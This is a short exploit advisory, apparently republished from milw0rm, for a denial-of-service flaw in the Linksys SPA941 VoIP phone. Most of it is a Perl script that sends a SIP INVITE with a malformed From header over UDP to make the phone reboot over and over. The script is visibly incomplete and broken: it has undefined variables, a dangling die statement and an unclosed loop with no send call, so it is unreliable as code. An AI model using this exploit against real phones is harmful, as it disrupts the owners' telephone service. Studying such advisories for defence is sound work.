[EXPL] Linksys SPA941 Denial of Service Exploit (Reboot)

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Linksys SPA941 Denial of Service Exploit (Reboot)


A vulnerability in Linksys SPA941 SIP VoIP phone by sending it a malformed
SIP packet, which in turn allows to continuously reboot the phone causing
denial of service.



use IO::Socket;

#die "Usage $0 <username> <dst_IP> <Source_IP> <SourcePort>" unless
die "Usage $0 <username> <dst_IP> <SourceIp> <sourceport>" unless

my $sock = new IO::Socket::INET( LocalHost => $ARGV[2], LocalPort =>
$ARGV[3], Proto => 'udp');
$socket=new IO::Socket::INET->new(PeerAddr=>$ARGV[1], PeerPort=> '5060',
Proto=>'udp', LocalAddr=>$ARGV[2], LocalPort=>'5061');


$fromuserid = int(rand( $high-$low+1 ) ) + $low;
my $cseq = "INVITE";

$msg = "INVITE sip:$touser\@$target SIP/2.0\r
Via: SIP/2.0/UDP $sourceaddress:$sourceport;branch=z9hG4bK00000\r
From: \377<sip:$fromuserid\@$sourceaddress>;tag=779\r
To: Receiver <sip:$touser\@$target>\r
Call-ID: 10\@$sourceaddress\r
CSeq: 1 $cseq\r
Contact: 779 <sip:$fromuserid\@$sourceaddress>\r
Expires: 1200\r
Max-Forwards: 70\r
Content-Type: application/sdp\r
Content-Length: 133\r
o=0 0 0 IN IP4 $sourceaddress\r
s=Session SDP\r
c=IN IP4 $sourceaddress\r
t=0 0\r
m=audio 9876 RTP/AVP 0\r
a=rtpmap:0 PCMU/8000\r";

$sock or die "no socket :$!";
while (1) {
sleep 90;


The information has been provided by milw0rm.
The original article can be found at:


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